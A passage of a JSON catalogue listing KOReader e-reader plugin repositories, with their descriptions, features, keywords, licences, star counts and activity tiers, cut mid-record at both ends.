This"],"keywords":["koreader-plugin","send","quick","notes","highlights","notion","page","create","integration","prepare","target","share","find","configure","multiple","targets","append","sub-page","mode","free-form","note","book","excerpt","quick-switch"],"topics":["koreader-plugin"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-04-25T13:21:04Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":10118,"detail":"detail/omer-faruq__send2notion.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"right9code/githubbrowser.koplugin","owner":"right9code","repo":"githubbrowser.koplugin","url":"https://github.com/right9code/githubbrowser.koplugin","description":"A comprehensive GitHub client for KOReader","purpose":"A comprehensive GitHub client for KOReader that lets you browse repositories, clone repos for offline editing, commit and push changes, and edit Markdown files with a rich formatting toolbar — all directly from your e-reader.","categories":["sync","ui","web","files"],"features":["Remote-Only: Browse any GitHub repo via API. View files, download, edit via API. No local storage used","Attach to Device: Clone a repo locally. Browse, edit, and commit fully offline. Sync when online","Pull: Fetch and fast-forward merge remote changes","Commit: Stage all changes and commit with a message prompt","Push: Send local commits to GitHub","Sync: One-tap pull then push (bidirectional reconciliation)","Status: View modified, untracked, and staged files","Log: Browse recent commit history","Diff: View uncommitted changes as a unified diff","Branch: View current branch, list branches, switch branches"],"keywords":["git","github","koreader","koreader-plugin","koreader-plugins","comprehensive","client","browser","markdown","editor","dual-mode","repository","browsing","operations","smart","sync","enhanced","token","management","file","navigation","organization","ignore","system"],"topics":["git","github","koreader","koreader-plugin","koreader-plugins"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-27T15:54:56Z","license":"NOASSERTION","default_branch":"main","has_meta":true,"readme_bytes":9206,"detail":"detail/right9code__githubbrowser.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"samfoy/marginalia","owner":"samfoy","repo":"marginalia","url":"https://github.com/samfoy/marginalia","description":"AI reading assistant for KOReader — X-Ray, Now Reading dashboard, conversational queries. Backed by your local Mac via pi/Bedrock.","purpose":"AI reading companion for KOReader — Book Index, position-bounded RAG, highlights, and Obsidian notes. → First-time setup guide · AI providers · Calibre · Obsidian","categories":["library","ai","notes"],"features":["Generates a Book Index — characters, locations, terms, literary/mythological references, and a chapter-positioned timeline,…","Builds a RAG index — chunks the book text, embeds it, and stores a position-aware retrieval index so every AI answer is grounded…","Syncs with your Obsidian vault — Ask AI lookups and manual saves create highlights in the book and append formatted entries to…","Ask AI — select text → get an explanation or context from the bridge; Translate to English uses a precomputed local sidecar","AI Wiki — deep-dive on any character, place, or term from the Book Index","Recap — \"where you left off\" summary when returning after a break","Section — chapter-by-chapter analysis","Chat — free Q&A grounded in your reading position","Series intelligence — cross-book context includes prior books you've finished; future books are excluded"],"keywords":["koreader-plugin","reading","assistant","x-ray","now","dashboard","conversational","queries","backed","local","mac","via","bedrock","marginalia","does","requirements","quick","start","option","script","recommended","docker","manual","app"],"topics":["koreader-plugin"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-11T02:30:08Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":14253,"detail":"detail/samfoy__marginalia.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"SeriousHornet/simpleui.koplugin","owner":"SeriousHornet","repo":"simpleui.koplugin","url":"https://github.com/SeriousHornet/simpleui.koplugin","description":"A highly customizable UI plugin for KOReader that features a home screen, bottom navigation bar, top bar and desktop modules/widgets. ","purpose":"A clean, distraction-free UI plugin for KOReader that transforms your reading experience. SimpleUI adds a dedicated Home Screen, a customisable bottom navigation bar, a top status bar, and a reworked library title bar, giving you instant access to your library, history, collections, and reading stats without…","categories":["ui","dict"],"features":["Clock & Date — a large, readable clock with full date display","Currently Reading — your active book with cover art, title, author, progress bar, percentage read, and estimated time left","Recent Books — a row of up to 5 recent books with cover thumbnails and progress indicators; tap any to resume reading","Collections — your KOReader collections displayed as tappable cover cards, right on the home screen","Reading Goals — visual progress tracker for your annual and daily reading goals, including physical books read","Reading Stats — compact stat cards showing today's reading time, pages, streaks, and all-time totals","Quick Actions — up to 3 customisable rows of shortcut buttons (Library, History, Wi-Fi toggle, Brightness, Stats, and more)","New Books — a row of up to 5 recently added books sorted by file date; unread books are labelled \"New\" and started books show…"],"keywords":["highly","customizable","home","screen","bottom","navigation","bar","top","desktop","modules","widgets","simpleui","status","custom","title","folder","covers","quick","actions","settings","translations","included","languages","adding"],"topics":[],"stars":3,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-04-18T10:02:27Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9450,"detail":"detail/SeriousHornet__simpleui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Syakhisk/mdns.koplugin","owner":"Syakhisk","repo":"mdns.koplugin","url":"https://github.com/Syakhisk/mdns.koplugin","description":"","purpose":"This plugin enables mDNS functionality for your Kindle (Through Koreader), allowing users to access their Kindle device on the local network using `kindle.local` instead of kindle device local IP on each network.","categories":["misc"],"features":["mDNS Support: Access your Kindle device using kindle.local","Service Integration: Use mDNS for","SSH connections","HTTP interceptors","Other services like Syncthing","Ensure mDNS is enabled on your local network","KOReader installed on your Kindle device","mDNS support enabled on your local network"],"keywords":["mdns","wip","overview","requirements","kindle","local","device","network","access","enabled","installed","service","integration","ssh","connections","http","interceptors","other","services","like","syncthing","ensure"],"topics":[],"stars":3,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-06-22T12:45:14Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":1087,"detail":"detail/Syakhisk__mdns.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"tachibana-shin/calibre_filemon.koplugin","owner":"tachibana-shin","repo":"calibre_filemon.koplugin","url":"https://github.com/tachibana-shin/calibre_filemon.koplugin","description":"This plugin will update Calibre's metadata file every time you move a file into a subfolder, helping Calibre accurately recognize that the book is still there","purpose":"A KOReader plugin that automatically synchronizes Calibre library metadata (`metadata.calibre`) with file operations in the built-in file manager.","categories":["library","files"],"features":["Rename/Move books — updates lpath in metadata when a book file is renamed or moved","Rename/Move directories — updates lpath for all descendant books when a directory is renamed or moved","Delete books — removes entries from metadata when books are deleted","Delete directories — removes all descendant book entries when a directory is deleted","KOReader with a Calibre library directory configured as the inbox directory (inbox_dir setting)","A Calibre library containing a metadata.calibre file","Linux: ~/.config/koreader/plugins/","Kindle: /mnt/us/koreader/plugins/","Kobo: /mnt/onboard/.adds/koreader/plugins/","Android: /sdcard/koreader/plugins/"],"keywords":["calibre","koreader","koreader-plugin","koreader-plugins","update","metadata","file","every","time","move","subfolder","helping","accurately","recognize","book","still","there","monitor","requirements","development","directory","inbox","books","library"],"topics":["calibre","koreader","koreader-plugin","koreader-plugins"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-08T18:43:31Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2050,"detail":"detail/tachibana-shin__calibre_filemon.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"vardan-developer/20-20-20.koplugin","owner":"vardan-developer","repo":"20-20-20.koplugin","url":"https://github.com/vardan-developer/20-20-20.koplugin","description":"A KOReader plugin that helps follow the 20-20-20 eye-rest rule. It runs a background timer while you read, and after the configured interval it shows a fullscreen black rest screen with a countdown. Both the interval in minutes and the countdown in seconds are configurable from KOReader’s Tools menu using the normal up/down controls.","purpose":"A simple KOReader plugin that helps you follow the 20-20-20 eye-rest rule. It runs a background timer while KOReader is open, then shows a fullscreen black rest screen with a large countdown when the timer completes.","categories":["ui"],"features":["Runs a configurable background timer","Shows a fullscreen black rest screen when the interval completes","Displays a large countdown from the configured number of seconds down to 0","Lets you configure the interval in minutes","Lets you configure the rest screen countdown in seconds","KOReader installed on your e-reader","USB access to your e-reader's KOReader folder","Kobo Libra Colour","KOReader on Android","Make sure the unzipped folder is named 20-20-20.koplugin"],"keywords":["helps","follow","20-20-20","eye-rest","rule","runs","background","timer","while","read","after","configured","interval","shows","fullscreen","black","rest","screen","countdown","both","minutes","seconds","configurable","tools"],"topics":[],"stars":3,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-04-29T21:56:28Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2004,"detail":"detail/vardan-developer__20-20-20.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"wtfffffffff511/kindle-menu.koplugin","owner":"wtfffffffff511","repo":"kindle-menu.koplugin","url":"https://github.com/wtfffffffff511/kindle-menu.koplugin","description":"koreader下拉菜单美化","purpose":"一个仿 Kindle 的 KOReader 插件: 呼出顶部菜单(或弹窗/设置面板)时,菜单面板保持原样,下面的原页面被 \"半透明压暗 + 黑色网格\"覆盖,和墨水屏 Kindle 的菜单背景一致。 阅读界面和主页(文件管理器)都生效。网格用 KOReader 的 blitbuffer 绘图 API 现场绘制,不需要任何图片素材,任意分辨率下都清晰。","categories":["ui","device"],"features":["三种纹样,点击循环切换:方点阵 / 棋盘(类Kindle) / 圆点阵","每种纹样独立保存一套参数:压暗强度、网格间距、黑色不透明度","可选的应用场景:顶部菜单、消息提示、对话框、设置面板、虚拟键盘、","弹窗/设置面板关闭时用全屏局部刷新(不闪屏)清除网格,不残留、省电","界面语言跟随 KOReader(中文/英文)","下载 kindle-menu.koplugin.zip(或克隆本仓库)","把 kindle-menu.koplugin 文件夹放进 KOReader 的插件目录","Kindle 设备:/mnt/us/koreader/plugins/","Kobo 设备:.adds/koreader/plugins/","其他平台:koreader/plugins/,或通过设置里的"],"keywords":["kindle","kindle-menu","grid","zip","mnt","kobo","adds"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-08T13:56:03Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3229,"detail":"detail/wtfffffffff511__kindle-menu.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"wtfffffffff511/koreader-kobolike-dogear.koplugin","owner":"wtfffffffff511","repo":"koreader-kobolike-dogear.koplugin","url":"https://github.com/wtfffffffff511/koreader-kobolike-dogear.koplugin","description":"在koreader中实现类似Kobo原系统的拟物化书签折角，支持调节折角大小","purpose":"A KOReader plugin that customizes the bookmark dogear (page-corner fold) icon and size. 一个 KOReader 插件：自定义书签折角（dogear）的图标与大小。","categories":["ui"],"features":["自动大小：沿用 KOReader 原生逻辑，折角不超过页边距、不压住正文。","自定义大小：按屏幕宽度（横边）的百分比计算，2% – 40%。","预设档位：3% / 6% / 12% / 20% / 30%。","图标可替换：直接替换 dogearstyle.koplugin/icons/dogear.svg。","下载 dogearstyle.koplugin.zip 并解压，得到 dogearstyle.koplugin 文件夹（里面直接是 main.lua，不要嵌套一层同名文件夹）。","把整个文件夹放入 KOReader 的插件目录：","Android：/sdcard/koreader/plugins/","Kobo：.adds/koreader/plugins/","Kindle / 其它：koreader/plugins/","完全退出并重启 KOReader（插件只在启动时加载）。"],"keywords":["koreader-plugin","kobo","dogear","style","custom","icon","compatibility","dogearstyle","crash","icons","svg","zip","main","lua","android","sdcard","adds","kindle"],"topics":["koreader-plugin"],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T01:50:27Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2345,"detail":"detail/wtfffffffff511__koreader-kobolike-dogear.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"yangyucitrus/Swipe_Animation.koplugin","owner":"yangyucitrus","repo":"Swipe_Animation.koplugin","url":"https://github.com/yangyucitrus/Swipe_Animation.koplugin","description":"Fork of Swipe_Animation.koplugin with Android high-res optimization","purpose":"A software page-turn animation patch for KOReader that provides a smooth \"wipe / erase and reveal\" effect. This patch brings fluid page turn animations to devices that lack native hardware support (or as an enhanced experience on supported devices).","categories":["ui","reading"],"features":["Smoother and faster page turn animation","Reduced screen jitter during transitions","Customizable full refresh rate to control ghosting","Supports swipes in all directions","Improved experience in night mode","Added support for MTK devices (Kobo and Kindle 2022+)","Note: On Kindle 2022 and later, animation support is partial (only one direction works)","New: Page-turn animation support for fixed-layout formats (PDF, DjVu, CBZ)","New: Custom page-turn delay settings (in ms) for horizontal and vertical screens","fork1 优化: Android 高清设备性能改进"],"keywords":["fork","swipe","animation","android","high-res","optimization","1-fork1","kindle","kobo","devices","linux","steps","e-ink","recommended","settings","troubleshooting","credits","device","folder","page","only","page-turn","partial","turn"],"topics":[],"stars":3,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-08T08:52:09Z","license":"GPL-3.0","default_branch":"optimize-android-highres","has_meta":false,"readme_bytes":4885,"detail":"detail/yangyucitrus__Swipe_Animation.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"yparitcher/zmanim.koplugin","owner":"yparitcher","repo":"zmanim.koplugin","url":"https://github.com/yparitcher/zmanim.koplugin","description":"Koreader Zmanim Calendar & Screensaver plugin using libzmanim","purpose":"","categories":["ui"],"features":[],"keywords":["hebrew-calendar","zmanim","calendar","screensaver","libzmanim"],"topics":["hebrew-calendar","zmanim"],"stars":3,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2023-04-05T19:31:24Z","license":"NOASSERTION","default_branch":"master","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"akamuraasai/koreader-komga","owner":"akamuraasai","repo":"koreader-komga","url":"https://github.com/akamuraasai/koreader-komga","description":"A plugin to bulk download comics and manga from Komga servers.","purpose":"Browse a Komga manga server from your KOReader e-reader, multi-select chapters, and bulk-download them into per-series folders. Reading progress syncs back to Komga through KOReader's own sync.","categories":["library","files","content"],"features":[],"keywords":["comic","comics","komga","koreader","koreader-plugin","manga","bulk","download","servers","downloader","useful","links"],"topics":["comic","comics","komga","koreader","koreader-plugin","manga"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-28T19:45:32Z","license":"AGPL-3.0","default_branch":"main","has_meta":false,"readme_bytes":1174,"detail":"detail/akamuraasai__koreader-komga.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"Alpha3288/webdav-autosync.koplugin","owner":"Alpha3288","repo":"webdav-autosync.koplugin","url":"https://github.com/Alpha3288/webdav-autosync.koplugin","description":"","purpose":"Sync files from a WebDAV server to your device. Optional credentials, configurable download folder, and either automatic sync on startup or manual sync on demand.","categories":["sync","files","reading"],"features":["WebDAV connection – Server URL with optional username/password (Basic auth)","Import from KOReader cloud storage – If you already configured a WebDAV server under KOReader's built-in *Cloud storage* feature,…","File extensions (optional) – Sync only files with given extensions (e.g. epub, pdf, txt). Leave empty to sync all formats…","Auto sync triggers (granular, opt-in) – Each automatic trigger is its own toggle, all grouped in the Auto sync triggers submenu…","*Enable auto sync* – master on/off. When off, the per-event toggles below are greyed out and don't fire (manual sync still works)","*Sync books on startup* / *Sync books on wake* – run book sync at KOReader startup and/or after the device wakes from sleep.…","*Sync reading progress on startup* / *on wake* / *on book close* – run progress sync at startup, on wake, and/or after closing a…"],"keywords":["koreader-plugin","webdav","auto","sync","triggers","work","two-way","details","reading-progress","troubleshooting","requirements","files","book","wake","startup","folder","progress","server","cooldown","manual","trigger","books","close","file"],"topics":["koreader-plugin"],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-07-09T16:57:47Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":13511,"detail":"detail/Alpha3288__webdav-autosync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Arararararagi/charactertracker.koplugin","owner":"Arararararagi","repo":"charactertracker.koplugin","url":"https://github.com/Arararararagi/charactertracker.koplugin","description":"KOReader character tracker for tracking reading progress and stats.","purpose":"Track characters, relationships, and notes while you read. Never forget who's who in a long novel — or across an entire series — again.","categories":["sync","files","reading"],"features":["Add characters on the fly from the highlight popup or the Tools menu","Aliases — track nicknames, titles, house names, alternate spellings","Notes — add evolving observations as the story progresses; edit or delete any time","Rating — rate characters from ★ to ★★★★★","Role — tag as Main, Secondary, Tertiary, Mentioned, Antagonist, or Narrator","Rename — safely rename a character (relationships pointing to it are updated automatically)","Quick-add a note straight from the detail view","Pin characters to the top of the list; sort by name, rating, role, or date added","Search characters by name or alias from the Tools menu","Link characters with predefined types: father, mother, son, daughter, brother, sister, spouse, ally, enemy, friend, mentor,…"],"keywords":["character","tracker","tracking","reading","progress","stats","characters","relationships","in-text","recognition","highlight","integration","series","shared","across","books","backup","safety","adding","viewing","editing","underlining","names","text"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-03T21:38:22Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":7363,"detail":"detail/Arararararagi__charactertracker.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"asayake-b5/jpdb.koplugin","owner":"asayake-b5","repo":"jpdb.koplugin","url":"https://github.com/asayake-b5/jpdb.koplugin","description":"A KOReader plugin for JPDB integration","purpose":"","categories":["misc"],"features":[],"keywords":["jpdb","integration"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2023-07-11T15:33:47Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":0,"detail":null,"activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","stub"]},{"id":"asxelot/fastdict.koplugin","owner":"asxelot","repo":"fastdict.koplugin","url":"https://github.com/asxelot/fastdict.koplugin","description":"Instant dictionary lookups for KOReader — in-process StarDict engine, no sdcv spawn per lookup","purpose":"Answers exact-word dictionary lookups in-process instead of spawning a `sdcv` process per lookup. This avoids sdcv 0.5.5's full linear re-scan of `.syn` files on every launch — with a 46 MB / 1.7M-entry inflection `.syn` that scan alone costs seconds per tap on an e-reader.","categories":["dict","device"],"features":["Hooks ReaderDictionary.rawSdcv. Exact (tap-on-word) lookups are served","Fuzzy (\"similar words\") search, special query syntax (*?\\/|),","On an exact hit, results are byte-identical to sdcv --exact-search output","Optional: menu → Search → FastDict → \"Build index caches now\"","sametypesequence with multiple types, resources, or 64-bit offsets","idx.gz compressed indexes","fuzzy/regex/data queries"],"keywords":["dictionary","ereader","kindle","koreader","koreader-plugin","lua","stardict","instant","lookups","in-process","engine","sdcv","spawn","per","lookup","fastdict","does","served","instead","companion","tool","tests","desktop","fuzzy"],"topics":["dictionary","ereader","kindle","koreader","koreader-plugin","lua","stardict"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-23T08:27:45Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2779,"detail":"detail/asxelot__fastdict.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"breno5g/koreadersync.koplugin","owner":"breno5g","repo":"koreadersync.koplugin","url":"https://github.com/breno5g/koreadersync.koplugin","description":"","purpose":"A plugin for KOReader that exports your reading highlights and notes directly to a web server, allowing for easy integration with Obsidian or any other note-taking service.","categories":["sync"],"features":["One-Click Sync: Send all highlights from the current book to your server at any time via the menu","Easy Configuration: Easily set the IP address and port of your destination server","Device Identification: Sends a unique device ID (the device's serial number or a generated ID) in the Authorization header so…","Status Notifications: Get instant feedback on whether the sync was successful or failed","Debug Tool: A \"Debug info\" panel to check your settings, document info, and highlight count","Ensure you have KOReader installed","Place the obsidiansync.koplugin directory inside the koreader/plugins/ folder on your device","With a document open in KOReader, access the top menu","Tap the menu icon (usually ☰ or ⚙️) and navigate to \"Obsidian Sync\"","Select \"Configure\""],"keywords":["sync","works","server-side","debugging","server","device","menu","file","highlights","json","notes","authorization","body","book","debug","document","endpoint","http","info","open","port","settings","address","annotations"],"topics":[],"stars":2,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2025-10-28T15:43:46Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3216,"detail":"detail/breno5g__koreadersync.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"CalebLinGit/eyerest.koplugin","owner":"CalebLinGit","repo":"eyerest.koplugin","url":"https://github.com/CalebLinGit/eyerest.koplugin","description":"Eye-strain break reminder for KOReader (Kindle, Kobo, e-ink) — Stretchly-style 20-20-20 mini & long breaks, paced by actual reading time, plus a reading sleep timer.","purpose":"Eye Rest reminds you to look up and rest your eyes while reading on KOReader, so long sessions on a Kindle, Kobo, or other e-ink reader don't leave your eyes aching. It's a Stretchly-style break reminder built around the 20-20-20 rule: short *mini breaks* and periodic *long breaks*, paced by how long you actually…","categories":["device","reading"],"features":["Tools → Plugin management → untick Read timer","Enable breaks — the main switch","Skip to next — go to a mini break or long break now","Sleep timer — a one-shot countdown (e.g. one hour); when it runs out a full-screen reminder tells you to stop reading.…","Reset breaks — restart the cycle","Settings","English","简体中文 (Simplified Chinese)","繁體中文 (Traditional Chinese)"],"keywords":["20-20-20","break-reminder","eink","ereader","eye-care","eye-strain","kindle","kobo","koreader","koreader-plugin","lua","pomodoro","stretchly","reading-timer","break","reminder","e-ink","stretchly-style","mini","long","breaks","paced","actual","reading"],"topics":["20-20-20","break-reminder","eink","ereader","eye-care","eye-strain","kindle","kobo","koreader","koreader-plugin","lua","pomodoro","stretchly","reading-timer"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-06-14T22:29:03Z","license":"AGPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":4968,"detail":"detail/CalebLinGit__eyerest.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"core-hn/readeck.koplugin","owner":"core-hn","repo":"readeck.koplugin","url":"https://github.com/core-hn/readeck.koplugin","description":"KoReader plugin for Readeck 0.22.2 servers","purpose":"Readeck 0.22.2 embeds new highlights (with \"note\", transparent color, and.... New xHTML parsing). So we got this fixed. Btw we brought some news to make this plugin awesome again : \"Readeck retrieval\" is now \"Readeck sync-it better !\" and it sends highlights from all articles to your server. *Made with Claude Sonnet…","categories":["sync","web","notes"],"features":["PRs are appreciated, whether for refactoring, bug fixes, or small improvements","Feel free to open Feature Requests in the Issues — discussion and collaborative implementation are encouraged","You are welcome to fork this project or reuse its ideas as a starting point (“reinventing the wheel” is totally fine here)","🚨 Tag priority: Choose tags you want to read in priority, but non-exclusive like filtering","🔄 Sync & Download: Download articles from your Readeck server to a dedicated folder on your KOReader device","🏷️ Tag Filtering: Only download articles with a specific tag, ignore articles with certain tags, and auto-add tags to newly…","↕️ Sorting: Sort server articles by added/published date, duration, site name, or title","🗑️ Smart Deletion / Archiving: Optionally delete or archive finished/100%-read articles on the server, and clean up local files…"],"keywords":["readeck","servers","fork","dedicated","overview","project","status","configuration","initial","setup","instructions","downloading","articles","marking","finished","adding","exporting","highlights","notes","advanced","settings","article","deletion","options"],"topics":[],"stars":2,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-04-23T11:18:57Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":8881,"detail":"detail/core-hn__readeck.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Craftwork2720/pagenumbercrop.koplugin","owner":"Craftwork2720","repo":"pagenumbercrop.koplugin","url":"https://github.com/Craftwork2720/pagenumbercrop.koplugin","description":"Crop page numbers from the bottom of manga pages","purpose":"A KOReader plugin that removes page numbers from the bottom of fixed-layout pages (CBZ, PDF, DjVu). a chapter divider or a title page with only a small logo) are shown with no crop at all, instead of being zoomed into that small element.","categories":["content"],"features":["Automatically detects and removes the page number from each page","No crop on blank pages (on by default): pages that are almost entirely white (e.g"],"keywords":["koreader","koreader-plugin","crop","page","numbers","bottom","manga","pages","pagenumbercrop","does","gestures","profiles","compatibility","number","blank","auto","djvu","fixed-layout","only","actions","automatically","both","default","open"],"topics":["koreader","koreader-plugin"],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T20:13:06Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":2131,"detail":"detail/Craftwork2720__pagenumbercrop.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"denialbb/markdownreader.koplugin","owner":"denialbb","repo":"markdownreader.koplugin","url":"https://github.com/denialbb/markdownreader.koplugin","description":"KOReader plugin: render Markdown (.md) files as formatted HTML on e-ink","purpose":"A pure-Lua KOReader plugin that renders Markdown files directly on your Kobo e-reader. Tap a `.md` file, and it opens fully formatted — headings, bold text, lists, links, code blocks, tables, and even LaTeX math — right on your e-ink screen.","categories":["files"],"features":["Rich Markdown Support: Leverages KOReader's bundled luamd parser to handle modern Markdown syntax","On-Device Math Rendering: Math is extracted and replaced safely before Markdown compilation, preventing the parser from mangling…","Pure-Lua LaTeX Backend: Renders block ($$...$$) and inline ($...$) math into Unicode/HTML with CSS stacking for fractions and…","Smart Caching: Rendered output is saved as a .html file inside a hidden .rendered/ folder directly beside your .md document to…","Failsafe: Anything the pure-Lua backend can't typeset (e.g., matrices or complex equations) gracefully degrades back to monospace…","Enable the plugin via Tools → Plugin management","Enjoy reading your .md notes on-device!","Translation: The luamd wrapper passes the text","Substitution: math_renderer.lua routes the tokens to math_backend_lua.lua, converting LaTeX commands into HTML/Unicode strings…"],"keywords":["render","markdown","files","formatted","html","e-ink","math","engine","technical","details","cleaning","file","latex","backend","pure-lua","rendered","rendering","safely","text","back","binaries","block","blocks","compilation"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-07T15:13:40Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2942,"detail":"detail/denialbb__markdownreader.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DHaizon/korekindle.koplugin","owner":"DHaizon","repo":"korekindle.koplugin","url":"https://github.com/DHaizon/korekindle.koplugin","description":"Permite un acceso directo desde KOReader a https://rekindle.ink/ utilizando el navegador nativo del sistema. Plugin diseñado específicamente para dispositivos Kindle. ","purpose":"Permite un acceso directo en el menú superior de KOReader al sitio Rekindle utilizando el navegador nativo del sistema Kindle. KOrekindle es un plugin para KOReader diseñado específicamente para dispositivos Kindle.","categories":["misc"],"features":["Integración en Menú: Añade un botón de acceso directo en el menú de \"Herramientas\" de KOReader","Arquitectura \"Exit & Launch\": KOrekindle cierra KOReader limpiamente antes de lanzar el navegador. Esto asegura máxima…","Estabilidad (Retorno Manual): Este plugin prioriza la estabilidad del sistema. Al cerrar el navegador, el usuario vuelve al menú…","Gestión de Sesión: Fuerza una limpieza de sesión del navegador para evitar que este se abra en pestañas antiguas (como Google u…","⚠️ IMPORTANTE: Este plugin utiliza comandos de sistema propietarios de Amazon (lipc-set-prop, lipc-get-prop)","Dispositivos soportados: Funciona exclusivamente en e-readers Kindle (con Jailbreak y KOReader instalado)","Dispositivos NO soportados: Kobo, PocketBook, Onyx Boox, reMarkable o dispositivos Android genéricos"],"keywords":["permite","acceso","directo","desde","https","rekindle","ink","utilizando","navegador","nativo","del","sistema","dise","ado","espec","ficamente","para","dispositivos","kindle","korekindle","caracter","sticas","requerimientos","compatibilidad"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-20T20:46:11Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4399,"detail":"detail/DHaizon__korekindle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"DHaizon/pinnedelements.koplugin","owner":"DHaizon","repo":"pinnedelements.koplugin","url":"https://github.com/DHaizon/pinnedelements.koplugin","description":"A KOReader plugin that lets you pin text fragments, images, and book pages while reading — keeping them at hand for quick reference without losing your place.","purpose":"A KOReader plugin that lets you pin text fragments, images, and book pages while reading — keeping them at hand for quick reference without losing your place.","categories":["ui","files","reading"],"features":["Pin text — select any passage and pin it from the highlight menu with *Pin text*","Pin the current page — saves a thumbnail screenshot of the visible page","Pin images — any image opened in KOReader's image viewer gets a *Pin* button; tap it to save the image to your pin list","Pin cropped screenshots — integrates with imagecrop.koplugin to let you select a region of a page or image and pin only that crop","Pinned Elements popup — a scrollable, paginated list showing all pins for the current book, each with a thumbnail (for image/page…","Sort pins — sort by page number or by creation order from the popup's menu","Full-screen image viewer — tap any pinned image to open a dedicated viewer with pan, zoom (pinch/spread or page-turn keys), and…","Full text viewer — tap a pinned text entry to read the full passage, with navigation between text pins"],"keywords":["lets","pin","text","fragments","images","book","pages","while","reading","keeping","them","hand","quick","reference","without","losing","place","pinnedelements","integration","imagecrop","workflow","pinning","current","page"],"topics":[],"stars":2,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-02T14:19:39Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":7960,"detail":"detail/DHaizon__pinnedelements.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"dodgemaster42/KoMahjong","owner":"dodgemaster42","repo":"KoMahjong","url":"https://github.com/dodgemaster42/KoMahjong","description":"KoMahjong is a pixel-art Riichi Mahjong game for KOReader/Kindle Lua, featuring image-backed tiles, yaku reference menus, chi/pon/kan/riichi calls, kan-dora, tenpai payments, and e-ink-friendly UI.","purpose":"A touch-first, grayscale Riichi Mahjong table for KOReader — built for Kindle and other e-ink devices. *Full four-player Riichi. No network, no accounts, no colour. Just tiles.*","categories":["ui","device","reading","games"],"features":["Connect the device by USB","Eject, then restart KOReader","Open KoMahjong from the *Tools* menu","hand-shape-aware chi/pon/kan decisions instead of greedy calling","defensive discards using furiten, suji, dead tiles, and kabe safety","optional *slower bots* setting so e-ink refreshes stay readable","High-resolution SVG-backed tile faces, adapted from the pixel-tile style","Side-seat open melds rotated toward 